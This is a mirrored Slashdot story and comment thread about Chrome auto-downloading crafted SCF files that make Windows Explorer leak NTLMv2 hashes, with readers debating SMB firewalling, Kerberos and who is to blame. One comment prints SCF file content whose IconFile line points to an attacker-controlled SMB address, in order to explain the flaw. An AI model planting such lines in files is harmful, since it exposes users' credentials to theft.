Slashdot Mirror

← Back to Stories (view on slashdot.org)

Stealing Windows Credentials Using Google Chrome (helpnetsecurity.com)

Posted by EditorDavid on from the browser-bugs dept.

Orome1 writes: A default setting in Google Chrome, which allows it to download files that it deems safe without prompting the user for a download location, can be exploited by attackers to mount a Windows credential theft attack using specially-crafted SCF shortcut files, DefenseCode researchers have found. What's more, for the attack to work, the victim does not even have to run the automatically downloaded file. Simply opening the download directory in Windows File Explorer will trigger the code icon file location inserted in the file to run, and it will send the victim's username, domain and NTLMv2 password hash to a remote SMB server operated by the attackers.

53 comments

  1. Coincidence? by Anonymous Coward · · Score: 0

    I think not.

  2. that's not important by Anonymous Coward · · Score: 0

    The important thing is, is it SMBv1 server?

  3. Firewall Blocked by darkain · · Score: 5, Informative

    And this is EXACTLY why all of the LAN > WAN firewalls I manage have SMB/CIFS blocked. There is no reason to send that traffic over WAN. If it is needed for connection to a remote location, that's what a VPN connection is for.

    1. Re:Firewall Blocked by Anonymous Coward · · Score: 0

      Most home users don't have firewall. Also, many business users use business machines at home without connecting to vpn. So 90% of the Windows user are affected.

      Also, I am not sure how VPN will help. Some VPN only encrypt data between your machine to the vpn server and then onward it is as good as you are on regular internet. This is to prevent your unsecure browser history being read by your ISP. E.g. you are browsing non-ssl sites from Starbucks.

    2. Re:Firewall Blocked by darkain · · Score: 0

      Most home users at this point DO have firewalls. 1) OS level. 2) NATing routers.

      Also, VPN isn't just what the usual spamervertised VPN services are (anonymized internet browsing) . They started as a way for corporate employees to log into their private corporate LANs remotely over the internet. One method assigns a private LAN IP address to the remote machine, and tunnels that over the internet, another uses routing tables between two different private LANs tunneled over the internet. In either of these situations, the internet side of things are handled via a tunnel (that is HOPEFULLY secured), so as far as firewalls are concerned, it is treated as local LAN traffic.

      Another way for Windows users is to just use Remote Desktop, which is a fully encrypted and secured connection. RDP allows for file sharing pretty easily, just copy a file on host or client, then paste it on the other side.

      There is no reason to ever have CIFS/SMB touch public internet outside of private LANs, it just isn't secure enough.

    3. Re:Firewall Blocked by Anonymous Coward · · Score: 0

      I do have firewall and vpn. But try testing your non-IT friends machine by creating .scf file and experiment and see if it works. Chances are it will work in many cases.

    4. Re:Firewall Blocked by Anonymous Coward · · Score: 0

      If you're still running Windows then you have already failed. So you block the problem ports. That doesn't stop worms that are already inside your network, or malicious players on your network, or things that manage to penetrate your network through other means.

      In the commercial world there is nothing other than a few specialized programs that require Windows. 99.999% of users could be running something else. Even those 0.001 problems would be solved in mere months if pressure was put on the software company to write compatible software instead of Windows-only bullshit.

      Why stick with this Windows shit?

    5. Re:Firewall Blocked by Anonymous Coward · · Score: 0

      NAT isn't a firewall, but most consumer routers at this point do have a stateful firewall.

    6. Re:Firewall Blocked by jafiwam · · Score: 1

      NAT isn't a firewall, but most consumer routers at this point do have a stateful firewall.

      A NAT device will drop non-internally initiated connection attempts unless the user has opened up ports to the inside (not many do) and somehow messed it up.

      For purposes of this particular discussion, a NAT device can be lumped in with "firewall".

    7. Re:Firewall Blocked by Anonymous Coward · · Score: 0

      Windows Firewall only blocks incoming connections by default. Although you can see a bunch of outgoing rules listed in Windows Firewall with Advanced Security the blocking of outgoing connections is turned off by default, which is completely stupid.

    8. Re:Firewall Blocked by Anonymous Coward · · Score: 0

      And this is why so many home users are vulnerable - because they listen to people like this that do not really know what they are talking about but think they do!

    9. Re:Firewall Blocked by Anonymous Coward · · Score: 0

      I call BS.
      Almost all commercial specialized software runs on windows. I work at a national lab. All of our real work machines are Linux, but as soon as you get away from scientific computing you run into windows.
      Financial software - Windows
      HR software - Windows
      Fire protection software (Heavily locked down and certified) - Windows
      Physical security software (doors, cameras, access control) - Windows
      And the list goes on and on. Could they be running something else? Maybe, but in most of the cases listed above using non-Windows software incurs a steep price. After all there is proprietary and there is proprietary, the difference between buying an application that you put on your own fairly cheap hardware and a vendor who sells you his hardware (at a large markup) and his software running on Linux or another OS (which he fully controls).
      Of the systems I listed above only the fire protection software meets this criteria and it is still Windows based, but I can tell you the HP workstations used to run it, since they are provided as part of the system cost 10x out of the box what that same hardware would cost if we had bought it, and is way obsolete in terms of performance compared to other stuff we have, and runs an older version of Windows to boot (actually making it less secure.)
      I've seen everything from medical devices to POS to Cinema POS all of which run on WIndows. The fact is that in commercial world most stuff runs on Windows, the main exception being hardware. Even though systems which run Linux on board almost always only have Windows remote access. I've run across that when dealing with display wall software and security camera software. The switcher and actual DVR hardware runs on Linux, but can only be accessed using a Windows interface.

  4. redmond are hipsters through unintended irony by Anonymous Coward · · Score: 0

    "Common Internet File System", in the sense that it's everywhere on the luser edge, but you can't ever allow it to actually cross the 'net.

  5. EXACTLY what I warned of vs. WanaCry (see ps) by Anonymous Coward · · Score: 0

    See subject: This was in my posts on how to secure yourself vs. SMB threat WanaCry (see it's ps @ bottom) https://yro.slashdot.org/comments.pl?sid=10630231&cid=54445383/

    APK

    P.S.=> Knew this was coming, in combining BOTH threats into 1 package... apk

  6. Not different by Anonymous Coward · · Score: 0

    Than the publications from 2016. If you allow outbound cifs/smb traffic outside of your local segment, you are an ID:10T

  7. NTLM - the gift that keeps on giving by WaffleMonster · · Score: 1

    I can't get over the fact in 2017 Microsoft has yet to incorporate a single secure authentication protocol into any of its operating systems. They haven't even tried.

    It would be relatively trivial to select a PAKE and make it backwards compatible with existing NT hash databases. They just don't seem to care.

    1. Re: NTLM - the gift that keeps on giving by Anonymous Coward · · Score: 0

      they've been using kerberos since like 1999. NTLM is there for backwards compatibility

    2. Re: NTLM - the gift that keeps on giving by WaffleMonster · · Score: 1

      they've been using kerberos since like 1999. NTLM is there for backwards compatibility

      KERBEROS IS NOT A SECURE AUTHENTICATION PROTOCOL.

      No there is nothing wrong my caps lock. I was intentionally shouting.

    3. Re: NTLM - the gift that keeps on giving by Anonymous Coward · · Score: 0
      https://web.mit.edu/kerberos/

      Kerberos is a network authentication protocol. It is designed to provide strong authentication for client/server applications by using secret-key cryptography.

    4. Re: NTLM - the gift that keeps on giving by Anonymous Coward · · Score: 0

      Different AC here; what are some examples of authentication protocols that you consider secure?

    5. Re: NTLM - the gift that keeps on giving by Anonymous Coward · · Score: 0

      Although the page indicates a recent date, it has the look of an outdated/obsolete page. Maybe Kerberos was considered secure in the 90s...

    6. Re: NTLM - the gift that keeps on giving by clovis · · Score: 1

      they've been using kerberos since like 1999. NTLM is there for backwards compatibility

      KERBEROS IS NOT A SECURE AUTHENTICATION PROTOCOL.

      No there is nothing wrong my caps lock. I was intentionally shouting.

      Please explain using terms appropriate to an audience that understands authentication protocols.

    7. Re: NTLM - the gift that keeps on giving by Anonymous Coward · · Score: 0

      they've been using kerberos since like 1999. NTLM is there for backwards compatibility

      KERBEROS IS NOT A SECURE AUTHENTICATION PROTOCOL.

      --Hey motherfucker, citation needed.

    8. Re: NTLM - the gift that keeps on giving by WaffleMonster · · Score: 2

      Different AC here; what are some examples of authentication protocols that you consider secure?

      Any PAKE with a zero knowledge proof...e.g. SRP, JPAKE.
      https://en.wikipedia.org/wiki/...

      Specifically with regards to MS-CHAPv2 and Kerberos to be secure it MUST NOT be possible to use material from authentication challenges or responses to conduct an offline brute force password guessing campaign because majority of user passwords are simply unable to withstand one.

      I consider an authentication protocol to be secure if it is able to meet all of the following requirements:

      1. Authenticating against an attacker places the user at zero risk.
      2. Mutual authentication... if login is successful it means trust relationship is bidirectional.
      3. Provides session keys for encrypting subsequent communication channel
      4. Secure against MITM
      5. Does not leak ANY knowledge that can be used for offline compromise

    9. Re: NTLM - the gift that keeps on giving by WaffleMonster · · Score: 1

      --Hey motherfucker, citation needed.

      https://www.harmj0y.net/blog/p...

    10. Re: NTLM - the gift that keeps on giving by buchanmilne · · Score: 1

      The problems here seem specific to Microsoft's implementation of Kerberos in their effort to retain backwards compatibility with NTLM.

      "If we have an arbitrary SPN that is registered for a domain user account, then the NTLM hash of that userâ(TM)s accountâ(TM)s plaintext password is used for the service ticket creation. This is the key to Kerberoasting."

      "Tim realized that because of this, and because part of a TGS requested for an SPN instance is encrypted with the NTLM hash of a service accountâ(TM)s plaintext password, any user can request these TGS tickets and then crack the service accountâ(TM)s plaintext password offline, without the risk of account lockout!"

      As far as I know, no other Kerberos implemenatation (MIT, Heimdal) does this, however it may be worthwhile checking if the Samba 4 KDC had to re-implement this for.compatibility reasons.

    11. Re: NTLM - the gift that keeps on giving by buchanmilne · · Score: 2

      The Kereberos *protocol* does, as far as I know, satisfy these requirements.

      Can you provide any evidence of any implementation besides Microsoft's, not satisfying the requirements in a typical configuration?

      Yes, Microsoft's implementation of a Kerberos KDC seems to be broken due to having backwards-compatibility with NTLM, but that doesn't mean that the protocol itself is broken.

    12. Re: NTLM - the gift that keeps on giving by Creepy · · Score: 1

      Yeah, AFAIK the Kerberos and IPsec protocols are secure. That doesn't mean the implementer didn't mess things up. I never heard any complaints about Kerberos on Linux and used it for years (albeit in the early 2000s, so not recently - for LDAP specifically). I've heard of multiple issues with it on Windows, though.

    13. Re: NTLM - the gift that keeps on giving by WaffleMonster · · Score: 1

      The Kereberos *protocol* does, as far as I know, satisfy these requirements.

      Can you provide any evidence of any implementation besides Microsoft's, not satisfying the requirements in a typical configuration?

      The way people generally secure Kerberos is by deploying PKI (RFC4556) or using any number of widely available transport level privacy schemes. (IPsec, VPNs..etc) the very same options are widely available to shelter plaintext authentication.

      The problem is challenge response authentication algorithms provided with Kerberos themselves cannot stand alone. Kerberos cannot survive brute force attack without the communications channel first being protected by a foreign source of trust that isn't a password stored in a users mind.

      A good way of thinking about this is SSH. Most people are faced with a choice between being responsible and manually importing keys or just saying fuck it and taking that leap of faith first time they connect.

      There is a third option that allows you to have your cake (Not having to leap) and eat it too (not having to import keys) ... and that is a secure authentication protocol. Kerberos does not even pretend to provide this.

  8. Privacy violation by Anonymous Coward · · Score: 0

    Google's prime mission.

  9. Not a browser problem by omnichad · · Score: 3, Insightful

    This is a Windows problem, not a Chrome problem. Windows shouldn't be sending out credentials unless it knows they belong to the server it's authenticating with. This is like visiting a random web page on the Internet and Chrome helpfully filling in the login box with your bank username and password.

    1. Re:Not a browser problem by Anonymous Coward · · Score: 1

      How is automatically downloading random files to peoples computers not a browser problem?

    2. Re:Not a browser problem by Anonymous Coward · · Score: 0

      EVERY single browser downloads "random files" ALL the time. It's called a cache.
      You notice it most annoyingly when some stupid antivirus throws a panic fit because the cache ends up matching some signature.
      Though this specific case is admittedly not about the cache, but it doesn't download "automatically", it downloads due to clicking somewhere, so it downloads. The only thing different from other browsers is that it doesn't ask for download location and name first.
      However that doesn't necessarily protect either: the file does get downloaded even before the user chooses the name/location even in other browsers (though without the .scf extension it might not trigger this specific issue), plus convincing someone to press ok on the download dialog is not that big a thing.
      Browsers could have a "known bad" extensions list, but that would be so long, and people will still want to download them...
      The only reasonable fix is that Windows must stop assuming that a file is "safe" just because it is on the local disk.
      I mean especially since this file should have the "unsafe, downloaded from internet" flag set (the one causing the extra warning when you try to execute downloaded binaries) there is really no way to classify as anything other than a security issue in Windows.

    3. Re:Not a browser problem by Anonymous Coward · · Score: 0

      Why the heck does a *consumer* OS open SMB ports that can be accessed over the internet? Major design failure in Windows.

    4. Re:Not a browser problem by jargonburn · · Score: 3, Insightful
      Simple: downloading this specially crafted .scf has absolutely no effect....until it is opened/parsed by the application "Windows Explorer". The vulnerability is in Explorer, not Chrome.

      It'd be like saying that downloading a specially crafted PDF file that will compromise your computer when it's opened is a browser problem. Well, since opening Explorer to your downloads folder is a bit more innocuous, it's a bit worse than that.

    5. Re:Not a browser problem by Hank+the+Lion · · Score: 5, Informative

      Mod parent (and GGP) up.
      This is a Widows vulnerability in the way link files are handled, that is mischaracterised as a Chrome vulnerability by the author of the article.
      Link files (.LNK and .SCF as well as autorun.inf and maybe others) do not contain the pretty icon that is shown in Windows Explorer, but contain a link address to the file containing the icon.

      [Shell]
      IconFile=MyPic.ico, or
      IconFile=MyProgram.exe

      This is the case that was originally targeted by the developers of Windows.
      Then came network filesystems. Now, this would also work:
      IconFile=\\MyServer\Dir\MyProgram.exe, or even worse:
      IconFile=\\180.180.180.180\Dir\MyProgram.exe, where 180.180.180.180 is a server under control of the attacker.

      When connecting to a server, Windows helpfully sends your current login credentials, to prevent you from having to re-type them every time.
      Only when these do not work does it display a login prompt.

      The catch is, that, when you open the directory in which the file is stored in Explorer, the icon is needed for display, and the scf file specifies an icon file on a remote server. So, Explorer accesses the remote server, and the underlying network file system sends your login credentials.

      Google has tried to mitigate this problem by adding a .download extension to .LNK files, but had overlooked that .SCF can do exactly the same. Ultimately, this is not Google's fault. The Windows network system should not send login credentials to a server that the user hasn't authenticated to manually before, or should only use authentication mechanisms that are immune to replay attacks or brute forcing. See Wafflemonster's post above.

      This is an issue that should be addressed by Microsoft for once and for all at the filesystem level, not by browser makers with patchwork on a case-by-case basis.

    6. Re:Not a browser problem by scdeimos · · Score: 2

      This is absolutely a Windows problem. It's Windows Explorer initiating the connection and it should *not* be doing that for any files that have a Zone.Identifier alternate data stream (i.e.: any file downloaded from the internet that hasn't yet had the Unblock button clicked in its Properties tab).

    7. Re:Not a browser problem by Anonymous Coward · · Score: 0

      Perhaps you don't read the article. So let me summarize it. Chrome does not let you change the name or location of the downloaded file. What if it downloads ls.bat in your home dir? I use gnu utils and type ls on my command line all the time. Would you now call a bug in DOS starting from 1981? Chrome sits on top of Windows. It needs to know how the OS components behave and change its behavior and not tell the OS to change (specially if it is well documented functionality).

    8. Re:Not a browser problem by Anonymous Coward · · Score: 0

      What if it downloads ls.bat in your home dir?

      You'd still have to run ls.bat. But in this case you don't need to run the .scf file. It's processed automatically by Windows and it sends your fucking credentials to any remote server listed in the file.
      A Chrome download is just one of many ways an .scf file can end up on your PC. It could easily be bundled along other files in a .zip, for example, and the user would be completely oblivious to it.
      Microsoft fucked up big time.

    9. Re:Not a browser problem by Anonymous Coward · · Score: 0

      Since when does Chrome not allow you to change the name nor location of the downloaded file?

  10. move on, nothing to see here by Anonymous Coward · · Score: 0

    This is Slashdot where Google is God and Microsoft is a turd. Move along, nothing to see here.

  11. Testify! by Anonymous Coward · · Score: 0

    Did MSFT ever fix their Kerberos implementation or do we have to wait for 200,000 systems to be breached first?

    Remember a few years ago when the MiB prevented a Defcon talk about MSFT's kerberos failures?

  12. remote smb server by Anonymous Coward · · Score: 0

    it will send the victim's username, domain and NTLMv2 password hash to a remote SMB server operated by the attackers.

    Is this remote server using SMB v1?

  13. Credential sent silently by manu0601 · · Score: 1

    Usually when one attempts to connect to a network share, credentials are prompted. Why is it different here? How does Windows decides what credentials should be sent to the attacker's SMB server?

    1. Re:Credential sent silently by Anonymous Coward · · Score: 0

      Windows will try to use your logged in creds first, then prompting if the first attempt fails.

    2. Re:Credential sent silently by Anonymous Coward · · Score: 0

      Windows will first try to use the credentials of the current logged in user, then it will try to find a match from those saved in the current user's credential manager, and finally it will prompt.

  14. Disable automatic downloading by CanEHdian · · Score: 1

    Just disable automatic downloading by enabling the "ask every time" for the file location. That's a good idea anyway.

    --
    When the copyright term is "forever minus a day", live every day like it's the last.
  15. Uh by The+MAZZTer · · Score: 1

    This can happen with any browser if you configure it right. Once Chrome downloads the file it is in no way part of the process... depending on how exactly the SCF file works it might be considered a Windows bug and Microsoft's responsibility to fix (I didn't look at it too closely). Google will fix this on their end by blacklisting SCF files as dangerous to download, which they already do for many suspicious file types that you typically wouldn't be downloading. This will result in a warning prompt if you try to download such a file which requires a few extra clicks to override.

  16. Misleading headline... by Anonymous Coward · · Score: 0

    Not a bug/hole in Chrome, even though Google will likely plug the attack vector via Chrome just as they did with the .lnk one earlier.

    The actual bug/hole is in Windows. Put the blame where it belongs, please.

    1. Re: Misleading headline... by Anonymous Coward · · Score: 0

      Either way Google addressed it quickly by adding .scf to the extension blacklist. Now it will warn on scf downloads.

  17. Won't work on my setup by swilver · · Score: 1

    In my setup nothing is allowed internet access unless going through my proxy. Windows is not privy to what that proxy is... this effectively kills tons of exploits, and of course, Windows own spyware.

    It does limit me to software that can be configured to use a proxy, but that doesn't really bother me.

  18. Microsoft by Anonymous Coward · · Score: 0

    Remember when Microsoft made good software? Me either ....